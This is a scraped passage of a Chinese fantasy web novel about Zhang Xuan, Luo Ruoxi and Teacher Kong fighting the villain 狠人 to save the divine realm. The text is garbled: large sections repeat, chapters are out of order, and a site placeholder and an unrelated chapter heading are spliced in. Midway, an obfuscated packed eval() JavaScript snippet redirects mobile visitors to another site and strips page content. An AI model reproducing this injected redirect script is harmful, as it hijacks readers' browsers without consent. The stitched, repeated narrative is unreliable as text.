洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673444|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第106章 抓奸在床 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 